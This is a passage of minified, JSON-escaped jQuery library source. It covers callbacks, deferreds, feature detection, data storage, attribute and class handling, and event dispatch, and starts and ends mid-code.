a)\u0026\u0026(f=a(f));return e.fn.init.call(this,d,f,b)},a.fn.init.prototype=a.fn;var b=a(c);return a},browser:{}}),e.each(\"Boolean Number String Function Array Date RegExp Object\".split(\" \"),function(a,b){I[\"[object \"+b+\"]\"]=b.toLowerCase()}),z=e.uaMatch(y),z.browser\u0026\u0026(e.browser[z.browser]=!0,e.browser.version=z.version),e.browser.webkit\u0026\u0026(e.browser.safari=!0),j.test(\" \")\u0026\u0026(k=/^[\\s\\xA0]+/,l=/[\\s\\xA0]+$/),h=e(c),c.addEventListener?B=function(){c.removeEventListener(\"DOMContentLoaded\",B,!1),e.ready()}:c.attachEvent\u0026\u0026(B=function(){c.readyState===\"complete\"\u0026\u0026(c.detachEvent(\"onreadystatechange\",B),e.ready())});return e}(),g={};f.Callbacks=function(a){a=a?g[a]||h(a):{};var c=[],d=[],e,i,j,k,l,m=function(b){var d,e,g,h,i;for(d=0,e=b.length;d\u003ce;d++)g=b[d],h=f.type(g),h===\"array\"?m(g):h===\"function\"\u0026\u0026(!a.unique||!o.has(g))\u0026\u0026c.push(g)},n=function(b,f){f=f||[],e=!a.memory||[b,f],i=!0,l=j||0,j=0,k=c.length;for(;c\u0026\u0026l\u003ck;l++)if(c[l].apply(b,f)===!1\u0026\u0026a.stopOnFalse){e=!0;break}i=!1,c\u0026\u0026(a.once?e===!0?o.disable():c=[]:d\u0026\u0026d.length\u0026\u0026(e=d.shift(),o.fireWith(e[0],e[1])))},o={add:function(){if(c){var a=c.length;m(arguments),i?k=c.length:e\u0026\u0026e!==!0\u0026\u0026(j=a,n(e[0],e[1]))}return this},remove:function(){if(c){var b=arguments,d=0,e=b.length;for(;d\u003ce;d++)for(var f=0;f\u003cc.length;f++)if(b[d]===c[f]){i\u0026\u0026f\u003c=k\u0026\u0026(k--,f\u003c=l\u0026\u0026l--),c.splice(f--,1);if(a.unique)break}}return this},has:function(a){if(c){var b=0,d=c.length;for(;b\u003cd;b++)if(a===c[b])return!0}return!1},empty:function(){c=[];return this},disable:function(){c=d=e=b;return this},disabled:function(){return!c},lock:function(){d=b,(!e||e===!0)\u0026\u0026o.disable();return this},locked:function(){return!d},fireWith:function(b,c){d\u0026\u0026(i?a.once||d.push([b,c]):(!a.once||!e)\u0026\u0026n(b,c));return this},fire:function(){o.fireWith(this,arguments);return this},fired:function(){return!!e}};return o};var i=[].slice;f.extend({Deferred:function(a){var b=f.Callbacks(\"once memory\"),c=f.Callbacks(\"once memory\"),d=f.Callbacks(\"memory\"),e=\"pending\",g={resolve:b,reject:c,notify:d},h={done:b.add,fail:c.add,progress:d.add,state:function(){return e},isResolved:b.fired,isRejected:c.fired,then:function(a,b,c){i.done(a).fail(b).progress(c);return this},always:function(){i.done.apply(i,arguments).fail.apply(i,arguments);return this},pipe:function(a,b,c){return f.Deferred(function(d){f.each({done:[a,\"resolve\"],fail:[b,\"reject\"],progress:[c,\"notify\"]},function(a,b){var c=b[0],e=b[1],g;f.isFunction(c)?i[a](function(){g=c.apply(this,arguments),g\u0026\u0026f.isFunction(g.promise)?g.promise().then(d.resolve,d.reject,d.notify):d[e+\"With\"](this===i?d:this,[g])}):i[a](d[e])})}).promise()},promise:function(a){if(a==null)a=h;else for(var b in h)a[b]=h[b];return a}},i=h.promise({}),j;for(j in g)i[j]=g[j].fire,i[j+\"With\"]=g[j].fireWith;i.done(function(){e=\"resolved\"},c.disable,d.lock).fail(function(){e=\"rejected\"},b.disable,d.lock),a\u0026\u0026a.call(i,i);return i},when:function(a){function m(a){return function(b){e[a]=arguments.length\u003e1?i.call(arguments,0):b,j.notifyWith(k,e)}}function l(a){return function(c){b[a]=arguments.length\u003e1?i.call(arguments,0):c,--g||j.resolveWith(j,b)}}var b=i.call(arguments,0),c=0,d=b.length,e=Array(d),g=d,h=d,j=d\u003c=1\u0026\u0026a\u0026\u0026f.isFunction(a.promise)?a:f.Deferred(),k=j.promise();if(d\u003e1){for(;c\u003cd;c++)b[c]\u0026\u0026b[c].promise\u0026\u0026f.isFunction(b[c].promise)?b[c].promise().then(l(c),j.reject,m(c)):--g;g||j.resolveWith(j,b)}else j!==a\u0026\u0026j.resolveWith(j,d?[a]:[]);return k}}),f.support=function(){var b,d,e,g,h,i,j,k,l,m,n,o,p,q=c.createElement(\"div\"),r=c.documentElement;q.setAttribute(\"className\",\"t\"),q.innerHTML=\" \u003clink/\u003e\u003ctable\u003e\u003c/table\u003e\u003ca href='/a' style='top:1px;float:left;opacity:.55;'\u003ea\u003c/a\u003e\u003cinput type='checkbox'/\u003e\",d=q.getElementsByTagName(\"*\"),e=q.getElementsByTagName(\"a\")[0];if(!d||!d.length||!e)return{};g=c.createElement(\"select\"),h=g.appendChild(c.createElement(\"option\")),i=q.getElementsByTagName(\"input\")[0],b={leadingWhitespace:q.firstChild.nodeType===3,tbody:!q.getElementsByTagName(\"tbody\").length,htmlSerialize:!!q.getElementsByTagName(\"link\").length,style:/top/.test(e.getAttribute(\"style\")),hrefNormalized:e.getAttribute(\"href\")===\"/a\",opacity:/^0.55/.test(e.style.opacity),cssFloat:!!e.style.cssFloat,checkOn:i.value===\"on\",optSelected:h.selected,getSetAttribute:q.className!==\"t\",enctype:!!c.createElement(\"form\").enctype,html5Clone:c.createElement(\"nav\").cloneNode(!0).outerHTML!==\"\u003c:nav\u003e\u003c/:nav\u003e\",submitBubbles:!0,changeBubbles:!0,focusinBubbles:!1,deleteExpando:!0,noCloneEvent:!0,inlineBlockNeedsLayout:!1,shrinkWrapBlocks:!1,reliableMarginRight:!0},i.checked=!0,b.noCloneChecked=i.cloneNode(!0).checked,g.disabled=!0,b.optDisabled=!h.disabled;try{delete q.test}catch(s){b.deleteExpando=!1}!q.addEventListener\u0026\u0026q.attachEvent\u0026\u0026q.fireEvent\u0026\u0026(q.attachEvent(\"onclick\",function(){b.noCloneEvent=!1}),q.cloneNode(!0).fireEvent(\"onclick\")),i=c.createElement(\"input\"),i.value=\"t\",i.setAttribute(\"type\",\"radio\"),b.radioValue=i.value===\"t\",i.setAttribute(\"checked\",\"checked\"),q.appendChild(i),k=c.createDocumentFragment(),k.appendChild(q.lastChild),b.checkClone=k.cloneNode(!0).cloneNode(!0).lastChild.checked,b.appendChecked=i.checked,k.removeChild(i),k.appendChild(q),q.innerHTML=\"\",a.getComputedStyle\u0026\u0026(j=c.createElement(\"div\"),j.style.width=\"0\",j.style.marginRight=\"0\",q.style.width=\"2px\",q.appendChild(j),b.reliableMarginRight=(parseInt((a.getComputedStyle(j,null)||{marginRight:0}).marginRight,10)||0)===0);if(q.attachEvent)for(o in{submit:1,change:1,focusin:1})n=\"on\"+o,p=n in q,p||(q.setAttribute(n,\"return;\"),p=typeof q[n]==\"function\"),b[o+\"Bubbles\"]=p;k.removeChild(q),k=g=h=j=q=i=null,f(function(){var a,d,e,g,h,i,j,k,m,n,o,r=c.getElementsByTagName(\"body\")[0];!r||(j=1,k=\"position:absolute;top:0;left:0;width:1px;height:1px;margin:0;\",m=\"visibility:hidden;border:0;\",n=\"style='\"+k+\"border:5px solid #000;padding:0;'\",o=\"\u003cdiv \"+n+\"\u003e\u003cdiv\u003e\u003c/div\u003e\u003c/div\u003e\"+\"\u003ctable \"+n+\" cellpadding='0' cellspacing='0'\u003e\"+\"\u003ctr\u003e\u003ctd\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\",a=c.createElement(\"div\"),a.style.cssText=m+\"width:0;height:0;position:static;top:0;margin-top:\"+j+\"px\",r.insertBefore(a,r.firstChild),q=c.createElement(\"div\"),a.appendChild(q),q.innerHTML=\"\u003ctable\u003e\u003ctr\u003e\u003ctd style='padding:0;border:0;display:none'\u003e\u003c/td\u003e\u003ctd\u003et\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\",l=q.getElementsByTagName(\"td\"),p=l[0].offsetHeight===0,l[0].style.display=\"\",l[1].style.display=\"none\",b.reliableHiddenOffsets=p\u0026\u0026l[0].offsetHeight===0,q.innerHTML=\"\",q.style.width=q.style.paddingLeft=\"1px\",f.boxModel=b.boxModel=q.offsetWidth===2,typeof q.style.zoom!=\"undefined\"\u0026\u0026(q.style.display=\"inline\",q.style.zoom=1,b.inlineBlockNeedsLayout=q.offsetWidth===2,q.style.display=\"\",q.innerHTML=\"\u003cdiv style='width:4px;'\u003e\u003c/div\u003e\",b.shrinkWrapBlocks=q.offsetWidth!==2),q.style.cssText=k+m,q.innerHTML=o,d=q.firstChild,e=d.firstChild,h=d.nextSibling.firstChild.firstChild,i={doesNotAddBorder:e.offsetTop!==5,doesAddBorderForTableAndCells:h.offsetTop===5},e.style.position=\"fixed\",e.style.top=\"20px\",i.fixedPosition=e.offsetTop===20||e.offsetTop===15,e.style.position=e.style.top=\"\",d.style.overflow=\"hidden\",d.style.position=\"relative\",i.subtractsBorderForOverflowNotVisible=e.offsetTop===-5,i.doesNotIncludeMarginInBodyOffset=r.offsetTop!==j,r.removeChild(a),q=a=null,f.extend(b,i))});return b}();var j=/^(?:\\{.*\\}|\\[.*\\])$/,k=/([A-Z])/g;f.extend({cache:{},uuid:0,expando:\"jQuery\"+(f.fn.jquery+Math.random()).replace(/\\D/g,\"\"),noData:{embed:!0,object:\"clsid:D27CDB6E-AE6D-11cf-96B8-444553540000\",applet:!0},hasData:function(a){a=a.nodeType?f.cache[a[f.expando]]:a[f.expando];return!!a\u0026\u0026!m(a)},data:function(a,c,d,e){if(!!f.acceptData(a)){var g,h,i,j=f.expando,k=typeof c==\"string\",l=a.nodeType,m=l?f.cache:a,n=l?a[j]:a[j]\u0026\u0026j,o=c===\"events\";if((!n||!m[n]||!o\u0026\u0026!e\u0026\u0026!m[n].data)\u0026\u0026k\u0026\u0026d===b)return;n||(l?a[j]=n=++f.uuid:n=j),m[n]||(m[n]={},l||(m[n].toJSON=f.noop));if(typeof c==\"object\"||typeof c==\"function\")e?m[n]=f.extend(m[n],c):m[n].data=f.extend(m[n].data,c);g=h=m[n],e||(h.data||(h.data={}),h=h.data),d!==b\u0026\u0026(h[f.camelCase(c)]=d);if(o\u0026\u0026!h[c])return g.events;k?(i=h[c],i==null\u0026\u0026(i=h[f.camelCase(c)])):i=h;return i}},removeData:function(a,b,c){if(!!f.acceptData(a)){var d,e,g,h=f.expando,i=a.nodeType,j=i?f.cache:a,k=i?a[h]:h;if(!j[k])return;if(b){d=c?j[k]:j[k].data;if(d){f.isArray(b)||(b in d?b=[b]:(b=f.camelCase(b),b in d?b=[b]:b=b.split(\" \")));for(e=0,g=b.length;e\u003cg;e++)delete d[b[e]];if(!(c?m:f.isEmptyObject)(d))return}}if(!c){delete j[k].data;if(!m(j[k]))return}f.support.deleteExpando||!j.setInterval?delete j[k]:j[k]=null,i\u0026\u0026(f.support.deleteExpando?delete a[h]:a.removeAttribute?a.removeAttribute(h):a[h]=null)}},_data:function(a,b,c){return f.data(a,b,c,!0)},acceptData:function(a){if(a.nodeName){var b=f.noData[a.nodeName.toLowerCase()];if(b)return b!==!0\u0026\u0026a.getAttribute(\"classid\")===b}return!0}}),f.fn.extend({data:function(a,c){var d,e,g,h=null;if(typeof a==\"undefined\"){if(this.length){h=f.data(this[0]);if(this[0].nodeType===1\u0026\u0026!f._data(this[0],\"parsedAttrs\")){e=this[0].attributes;for(var i=0,j=e.length;i\u003cj;i++)g=e[i].name,g.indexOf(\"data-\")===0\u0026\u0026(g=f.camelCase(g.substring(5)),l(this[0],g,h[g]));f._data(this[0],\"parsedAttrs\",!0)}}return h}if(typeof a==\"object\")return this.each(function(){f.data(this,a)});d=a.split(\".\"),d[1]=d[1]?\".\"+d[1]:\"\";if(c===b){h=this.triggerHandler(\"getData\"+d[1]+\"!\",[d[0]]),h===b\u0026\u0026this.length\u0026\u0026(h=f.data(this[0],a),h=l(this[0],a,h));return h===b\u0026\u0026d[1]?this.data(d[0]):h}return this.each(function(){var b=f(this),e=[d[0],c];b.triggerHandler(\"setData\"+d[1]+\"!\",e),f.data(this,a,c),b.triggerHandler(\"changeData\"+d[1]+\"!\",e)})},removeData:function(a){return this.each(function(){f.removeData(this,a)})}}),f.extend({_mark:function(a,b){a\u0026\u0026(b=(b||\"fx\")+\"mark\",f._data(a,b,(f._data(a,b)||0)+1))},_unmark:function(a,b,c){a!==!0\u0026\u0026(c=b,b=a,a=!1);if(b){c=c||\"fx\";var d=c+\"mark\",e=a?0:(f._data(b,d)||1)-1;e?f._data(b,d,e):(f.removeData(b,d,!0),n(b,c,\"mark\"))}},queue:function(a,b,c){var d;if(a){b=(b||\"fx\")+\"queue\",d=f._data(a,b),c\u0026\u0026(!d||f.isArray(c)?d=f._data(a,b,f.makeArray(c)):d.push(c));return d||[]}},dequeue:function(a,b){b=b||\"fx\";var c=f.queue(a,b),d=c.shift(),e={};d===\"inprogress\"\u0026\u0026(d=c.shift()),d\u0026\u0026(b===\"fx\"\u0026\u0026c.unshift(\"inprogress\"),f._data(a,b+\".run\",e),d.call(a,function(){f.dequeue(a,b)},e)),c.length||(f.removeData(a,b+\"queue \"+b+\".run\",!0),n(a,b,\"queue\"))}}),f.fn.extend({queue:function(a,c){typeof a!=\"string\"\u0026\u0026(c=a,a=\"fx\");if(c===b)return f.queue(this[0],a);return this.each(function(){var b=f.queue(this,a,c);a===\"fx\"\u0026\u0026b[0]!==\"inprogress\"\u0026\u0026f.dequeue(this,a)})},dequeue:function(a){return this.each(function(){f.dequeue(this,a)})},delay:function(a,b){a=f.fx?f.fx.speeds[a]||a:a,b=b||\"fx\";return this.queue(b,function(b,c){var d=setTimeout(b,a);c.stop=function(){clearTimeout(d)}})},clearQueue:function(a){return this.queue(a||\"fx\",[])},promise:function(a,c){function m(){--h||d.resolveWith(e,[e])}typeof a!=\"string\"\u0026\u0026(c=a,a=b),a=a||\"fx\";var d=f.Deferred(),e=this,g=e.length,h=1,i=a+\"defer\",j=a+\"queue\",k=a+\"mark\",l;while(g--)if(l=f.data(e[g],i,b,!0)||(f.data(e[g],j,b,!0)||f.data(e[g],k,b,!0))\u0026\u0026f.data(e[g],i,f.Callbacks(\"once memory\"),!0))h++,l.add(m);m();return d.promise()}});var o=/[\\n\\t\\r]/g,p=/\\s+/,q=/\\r/g,r=/^(?:button|input)$/i,s=/^(?:button|input|object|select|textarea)$/i,t=/^a(?:rea)?$/i,u=/^(?:autofocus|autoplay|async|checked|controls|defer|disabled|hidden|loop|multiple|open|readonly|required|scoped|selected)$/i,v=f.support.getSetAttribute,w,x,y;f.fn.extend({attr:function(a,b){return f.access(this,a,b,!0,f.attr)},removeAttr:function(a){return this.each(function(){f.removeAttr(this,a)})},prop:function(a,b){return f.access(this,a,b,!0,f.prop)},removeProp:function(a){a=f.propFix[a]||a;return this.each(function(){try{this[a]=b,delete this[a]}catch(c){}})},addClass:function(a){var b,c,d,e,g,h,i;if(f.isFunction(a))return this.each(function(b){f(this).addClass(a.call(this,b,this.className))});if(a\u0026\u0026typeof a==\"string\"){b=a.split(p);for(c=0,d=this.length;c\u003cd;c++){e=this[c];if(e.nodeType===1)if(!e.className\u0026\u0026b.length===1)e.className=a;else{g=\" \"+e.className+\" \";for(h=0,i=b.length;h\u003ci;h++)~g.indexOf(\" \"+b[h]+\" \")||(g+=b[h]+\" \");e.className=f.trim(g)}}}return this},removeClass:function(a){var c,d,e,g,h,i,j;if(f.isFunction(a))return this.each(function(b){f(this).removeClass(a.call(this,b,this.className))});if(a\u0026\u0026typeof a==\"string\"||a===b){c=(a||\"\").split(p);for(d=0,e=this.length;d\u003ce;d++){g=this[d];if(g.nodeType===1\u0026\u0026g.className)if(a){h=(\" \"+g.className+\" \").replace(o,\" \");for(i=0,j=c.length;i\u003cj;i++)h=h.replace(\" \"+c[i]+\" \",\" \");g.className=f.trim(h)}else g.className=\"\"}}return this},toggleClass:function(a,b){var c=typeof a,d=typeof b==\"boolean\";if(f.isFunction(a))return this.each(function(c){f(this).toggleClass(a.call(this,c,this.className,b),b)});return this.each(function(){if(c===\"string\"){var e,g=0,h=f(this),i=b,j=a.split(p);while(e=j[g++])i=d?i:!h.hasClass(e),h[i?\"addClass\":\"removeClass\"](e)}else if(c===\"undefined\"||c===\"boolean\")this.className\u0026\u0026f._data(this,\"__className__\",this.className),this.className=this.className||a===!1?\"\":f._data(this,\"__className__\")||\"\"})},hasClass:function(a){var b=\" \"+a+\" \",c=0,d=this.length;for(;c\u003cd;c++)if(this[c].nodeType===1\u0026\u0026(\" \"+this[c].className+\" \").replace(o,\" \").indexOf(b)\u003e-1)return!0;return!1},val:function(a){var c,d,e,g=this[0];{if(!!arguments.length){e=f.isFunction(a);return this.each(function(d){var g=f(this),h;if(this.nodeType===1){e?h=a.call(this,d,g.val()):h=a,h==null?h=\"\":typeof h==\"number\"?h+=\"\":f.isArray(h)\u0026\u0026(h=f.map(h,function(a){return a==null?\"\":a+\"\"})),c=f.valHooks[this.nodeName.toLowerCase()]||f.valHooks[this.type];if(!c||!(\"set\"in c)||c.set(this,h,\"value\")===b)this.value=h}})}if(g){c=f.valHooks[g.nodeName.toLowerCase()]||f.valHooks[g.type];if(c\u0026\u0026\"get\"in c\u0026\u0026(d=c.get(g,\"value\"))!==b)return d;d=g.value;return typeof d==\"string\"?d.replace(q,\"\"):d==null?\"\":d}}}}),f.extend({valHooks:{option:{get:function(a){var b=a.attributes.value;return!b||b.specified?a.value:a.text}},select:{get:function(a){var b,c,d,e,g=a.selectedIndex,h=[],i=a.options,j=a.type===\"select-one\";if(g\u003c0)return null;c=j?g:0,d=j?g+1:i.length;for(;c\u003cd;c++){e=i[c];if(e.selected\u0026\u0026(f.support.optDisabled?!e.disabled:e.getAttribute(\"disabled\")===null)\u0026\u0026(!e.parentNode.disabled||!f.nodeName(e.parentNode,\"optgroup\"))){b=f(e).val();if(j)return b;h.push(b)}}if(j\u0026\u0026!h.length\u0026\u0026i.length)return f(i[g]).val();return h},set:function(a,b){var c=f.makeArray(b);f(a).find(\"option\").each(function(){this.selected=f.inArray(f(this).val(),c)\u003e=0}),c.length||(a.selectedIndex=-1);return c}}},attrFn:{val:!0,css:!0,html:!0,text:!0,data:!0,width:!0,height:!0,offset:!0},attr:function(a,c,d,e){var g,h,i,j=a.nodeType;if(!!a\u0026\u0026j!==3\u0026\u0026j!==8\u0026\u0026j!==2){if(e\u0026\u0026c in f.attrFn)return f(a)[c](d);if(typeof a.getAttribute==\"undefined\")return f.prop(a,c,d);i=j!==1||!f.isXMLDoc(a),i\u0026\u0026(c=c.toLowerCase(),h=f.attrHooks[c]||(u.test(c)?x:w));if(d!==b){if(d===null){f.removeAttr(a,c);return}if(h\u0026\u0026\"set\"in h\u0026\u0026i\u0026\u0026(g=h.set(a,d,c))!==b)return g;a.setAttribute(c,\"\"+d);return d}if(h\u0026\u0026\"get\"in h\u0026\u0026i\u0026\u0026(g=h.get(a,c))!==null)return g;g=a.getAttribute(c);return g===null?b:g}},removeAttr:function(a,b){var c,d,e,g,h=0;if(b\u0026\u0026a.nodeType===1){d=b.toLowerCase().split(p),g=d.length;for(;h\u003cg;h++)e=d[h],e\u0026\u0026(c=f.propFix[e]||e,f.attr(a,e,\"\"),a.removeAttribute(v?e:c),u.test(e)\u0026\u0026c in a\u0026\u0026(a[c]=!1))}},attrHooks:{type:{set:function(a,b){if(r.test(a.nodeName)\u0026\u0026a.parentNode)f.error(\"type property can't be changed\");else if(!f.support.radioValue\u0026\u0026b===\"radio\"\u0026\u0026f.nodeName(a,\"input\")){var c=a.value;a.setAttribute(\"type\",b),c\u0026\u0026(a.value=c);return b}}},value:{get:function(a,b){if(w\u0026\u0026f.nodeName(a,\"button\"))return w.get(a,b);return b in a?a.value:null},set:function(a,b,c){if(w\u0026\u0026f.nodeName(a,\"button\"))return w.set(a,b,c);a.value=b}}},propFix:{tabindex:\"tabIndex\",readonly:\"readOnly\",\"for\":\"htmlFor\",\"class\":\"className\",maxlength:\"maxLength\",cellspacing:\"cellSpacing\",cellpadding:\"cellPadding\",rowspan:\"rowSpan\",colspan:\"colSpan\",usemap:\"useMap\",frameborder:\"frameBorder\",contenteditable:\"contentEditable\"},prop:function(a,c,d){var e,g,h,i=a.nodeType;if(!!a\u0026\u0026i!==3\u0026\u0026i!==8\u0026\u0026i!==2){h=i!==1||!f.isXMLDoc(a),h\u0026\u0026(c=f.propFix[c]||c,g=f.propHooks[c]);return d!==b?g\u0026\u0026\"set\"in g\u0026\u0026(e=g.set(a,d,c))!==b?e:a[c]=d:g\u0026\u0026\"get\"in g\u0026\u0026(e=g.get(a,c))!==null?e:a[c]}},propHooks:{tabIndex:{get:function(a){var c=a.getAttributeNode(\"tabindex\");return c\u0026\u0026c.specified?parseInt(c.value,10):s.test(a.nodeName)||t.test(a.nodeName)\u0026\u0026a.href?0:b}}}}),f.attrHooks.tabindex=f.propHooks.tabIndex,x={get:function(a,c){var d,e=f.prop(a,c);return e===!0||typeof e!=\"boolean\"\u0026\u0026(d=a.getAttributeNode(c))\u0026\u0026d.nodeValue!==!1?c.toLowerCase():b},set:function(a,b,c){var d;b===!1?f.removeAttr(a,c):(d=f.propFix[c]||c,d in a\u0026\u0026(a[d]=!0),a.setAttribute(c,c.toLowerCase()));return c}},v||(y={name:!0,id:!0},w=f.valHooks.button={get:function(a,c){var d;d=a.getAttributeNode(c);return d\u0026\u0026(y[c]?d.nodeValue!==\"\":d.specified)?d.nodeValue:b},set:function(a,b,d){var e=a.getAttributeNode(d);e||(e=c.createAttribute(d),a.setAttributeNode(e));return e.nodeValue=b+\"\"}},f.attrHooks.tabindex.set=w.set,f.each([\"width\",\"height\"],function(a,b){f.attrHooks[b]=f.extend(f.attrHooks[b],{set:function(a,c){if(c===\"\"){a.setAttribute(b,\"auto\");return c}}})}),f.attrHooks.contenteditable={get:w.get,set:function(a,b,c){b===\"\"\u0026\u0026(b=\"false\"),w.set(a,b,c)}}),f.support.hrefNormalized||f.each([\"href\",\"src\",\"width\",\"height\"],function(a,c){f.attrHooks[c]=f.extend(f.attrHooks[c],{get:function(a){var d=a.getAttribute(c,2);return d===null?b:d}})}),f.support.style||(f.attrHooks.style={get:function(a){return a.style.cssText.toLowerCase()||b},set:function(a,b){return a.style.cssText=\"\"+b}}),f.support.optSelected||(f.propHooks.selected=f.extend(f.propHooks.selected,{get:function(a){var b=a.parentNode;b\u0026\u0026(b.selectedIndex,b.parentNode\u0026\u0026b.parentNode.selectedIndex);return null}})),f.support.enctype||(f.propFix.enctype=\"encoding\"),f.support.checkOn||f.each([\"radio\",\"checkbox\"],function(){f.valHooks[this]={get:function(a){return a.getAttribute(\"value\")===null?\"on\":a.value}}}),f.each([\"radio\",\"checkbox\"],function(){f.valHooks[this]=f.extend(f.valHooks[this],{set:function(a,b){if(f.isArray(b))return a.checked=f.inArray(f(a).val(),b)\u003e=0}})});var z=/^(?:textarea|input|select)$/i,A=/^([^\\.]*)?(?:\\.(.+))?$/,B=/\\bhover(\\.\\S+)?\\b/,C=/^key/,D=/^(?:mouse|contextmenu)|click/,E=/^(?:focusinfocus|focusoutblur)$/,F=/^(\\w*)(?:#([\\w\\-]+))?(?:\\.([\\w\\-]+))?$/,G=function(a){var b=F.exec(a);b\u0026\u0026(b[1]=(b[1]||\"\").toLowerCase(),b[3]=b[3]\u0026\u0026new RegExp(\"(?:^|\\\\s)\"+b[3]+\"(?:\\\\s|$)\"));return b},H=function(a,b){var c=a.attributes||{};return(!b[1]||a.nodeName.toLowerCase()===b[1])\u0026\u0026(!b[2]||(c.id||{}).value===b[2])\u0026\u0026(!b[3]||b[3].test((c[\"class\"]||{}).value))},I=function(a){return f.event.special.hover?a:a.replace(B,\"mouseenter$1 mouseleave$1\")};\nf.event={add:function(a,c,d,e,g){var h,i,j,k,l,m,n,o,p,q,r,s;if(!(a.nodeType===3||a.nodeType===8||!c||!d||!(h=f._data(a)))){d.handler\u0026\u0026(p=d,d=p.handler),d.guid||(d.guid=f.guid++),j=h.events,j||(h.events=j={}),i=h.handle,i||(h.handle=i=function(a){return typeof f!=\"undefined\"\u0026\u0026(!a||f.event.triggered!==a.type)?f.event.dispatch.apply(i.elem,arguments):b},i.elem=a),c=f.trim(I(c)).split(\" \");for(k=0;k\u003cc.length;k++){l=A.exec(c[k])||[],m=l[1],n=(l[2]||\"\").split(\".\").sort(),s=f.event.special[m]||{},m=(g?s.delegateType:s.bindType)||m,s=f.event.special[m]||{},o=f.extend({type:m,origType:l[1],data:e,handler:d,guid:d.guid,selector:g,quick:G(g),namespace:n.join(\".\")},p),r=j[m];if(!r){r=j[m]=[],r.delegateCount=0;if(!s.setup||s.setup.call(a,e,n,i)===!1)a.addEventListener?a.addEventListener(m,i,!1):a.attachEvent\u0026\u0026a.attachEvent(\"on\"+m,i)}s.add\u0026\u0026(s.add.call(a,o),o.handler.guid||(o.handler.guid=d.guid)),g?r.splice(r.delegateCount++,0,o):r.push(o),f.event.global[m]=!0}a=null}},global:{},remove:function(a,b,c,d,e){var g=f.hasData(a)\u0026\u0026f._data(a),h,i,j,k,l,m,n,o,p,q,r,s;if(!!g\u0026\u0026!!(o=g.events)){b=f.trim(I(b||\"\")).split(\" \");for(h=0;h\u003cb.length;h++){i=A.exec(b[h])||[],j=k=i[1],l=i[2];if(!j){for(j in o)f.event.remove(a,j+b[h],c,d,!0);continue}p=f.event.special[j]||{},j=(d?p.delegateType:p.bindType)||j,r=o[j]||[],m=r.length,l=l?new RegExp(\"(^|\\\\.)\"+l.split(\".\").sort().join(\"\\\\.(?:.*\\\\.)?\")+\"(\\\\.|$)\"):null;for(n=0;n\u003cr.length;n++)s=r[n],(e||k===s.origType)\u0026\u0026(!c||c.guid===s.guid)\u0026\u0026(!l||l.test(s.namespace))\u0026\u0026(!d||d===s.selector||d===\"**\"\u0026\u0026s.selector)\u0026\u0026(r.splice(n--,1),s.selector\u0026\u0026r.delegateCount--,p.remove\u0026\u0026p.remove.call(a,s));r.length===0\u0026\u0026m!==r.length\u0026\u0026((!p.teardown||p.teardown.call(a,l)===!1)\u0026\u0026f.removeEvent(a,j,g.handle),delete o[j])}f.isEmptyObject(o)\u0026\u0026(q=g.handle,q\u0026\u0026(q.elem=null),f.removeData(a,[\"events\",\"handle\"],!0))}},customEvent:{getData:!0,setData:!0,changeData:!0},trigger:function(c,d,e,g){if(!e||e.nodeType!==3\u0026\u0026e.nodeType!==8){var h=c.type||c,i=[],j,k,l,m,n,o,p,q,r,s;if(E.test(h+f.event.triggered))return;h.indexOf(\"!\")\u003e=0\u0026\u0026(h=h.slice(0,-1),k=!0),h.indexOf(\".\")\u003e=0\u0026\u0026(i=h.split(\".\"),h=i.shift(),i.sort());if((!e||f.event.customEvent[h])\u0026\u0026!f.event.global[h])return;c=typeof c==\"object\"?c[f.expando]?c:new f.Event(h,c):new f.Event(h),c.type=h,c.isTrigger=!0,c.exclusive=k,c.namespace=i.join(\".\"),c.namespace_re=c.namespace?new RegExp(\"(^|\\\\.)\"+i.join(\"\\\\.(?:.*\\\\.)?\")+\"(\\\\.|$)\"):null,o=h.indexOf(\":\")\u003c0?\"on\"+h:\"\";if(!e){j=f.cache;for(l in j)j[l].events\u0026\u0026j[l].events[h]\u0026\u0026f.event.trigger(c,d,j[l].handle.elem,!0);return}c.result=b,c.target||(c.target=e),d=d!=null?f.makeArray(d):[],d.unshift(c),p=f.event.special[h]||{};if(p.trigger\u0026\u0026p.trigger.apply(e,d)===!1)return;r=[[e,p.bindType||h]];if(!g\u0026\u0026!p.noBubble\u0026\u0026!f.isWindow(e)){s=p.delegateType||h,m=E.test(s+h)?e:e.parentNode,n=null;for(;m;m=m.parentNode)r.push([m,s]),n=m;n\u0026\u0026n===e.ownerDocument\u0026\u0026r.push([n.defaultView||n.parentWindow||a,s])}for(l=0;l\u003cr.length\u0026\u0026!c.isPropagationStopped();l++)m=r[l][0],c.type=r[l][1],q=(f._data(m,\"events\")||{})[c.type]\u0026\u0026f._data(m,\"handle\"),q\u0026\u0026q.apply(m,d),q=o\u0026\u0026m[o],q\u0026\u0026f.acceptData(m)\u0026\u0026q.apply(m,d)===!1\u0026\u0026c.preventDefault();c.type=h,!g\u0026\u0026!c.isDefaultPrevented()\u0026\u0026(!p._default||p._default.apply(e.ownerDocument,d)===!1)\u0026\u0026(h!==\"click\"||!f.nodeName(e,\"a\"))\u0026\u0026f.acceptData(e)\u0026\u0026o\u0026\u0026e[h]\u0026\u0026(h!==\"focus\"\u0026\u0026h!==\"blur\"||c.target.offsetWidth!==0)\u0026\u0026!f.isWindow(e)\u0026\u0026(n=e[o],n\u0026\u0026(e[o]=null),f.event.triggered=h,e[h](),f.event.triggered=b,n\u0026\u0026(e[o]=n));return c.result}},dispatch:function(c){c=f.event.fix(c||a.event);var d=(f._data(this,\"events\")||{})[c.type]||[],e=d.delegateCount,g=[].slice.call(arguments,0),h=!c.exclusive\u0026\u0026!c.namespace,i=[],j,k,l,m,n,o,p,q,r,s,t;g[0]=c,c.delegateTarget=this;if(e\u0026\u0026!c.target.disabled\u0026\u0026(!c.button||c.type!==\"click\")){m=f(this),m.context=this.ownerDocument||this;for(l=c.target;l!=this;l=l.parentNode||this){o={},q=[],m[0]=l;for(j=0;j\u003ce;j++)r=d[j],s=r.selector,o[s]===b\u0026\u0026(o[s]=r.quick?H(l,r.quick):m.is(s)),o[s]\u0026\u0026q.push(r);q.length\u0026\u0026i.push({elem:l,matches:q})}}d.length\u003ee\u0026\u0026i.push({elem:this,matches:d.slice(e)});for(j=0;j\u003ci.length\u0026\u0026!c.isPropagationStopped();j++){p=i[j],c.currentTarget=p.elem;for(k=0;k\u003cp.matches.length\u0026\u0026!c.isImmediatePropagationStopped();k++){r=p.matches[k];if(h||!c.namespace\u0026\u0026!r.namespace||c.namespace_re\u0026\u0026c.namespace_re.test(r.namespace))c.data=r.data,c.handleObj=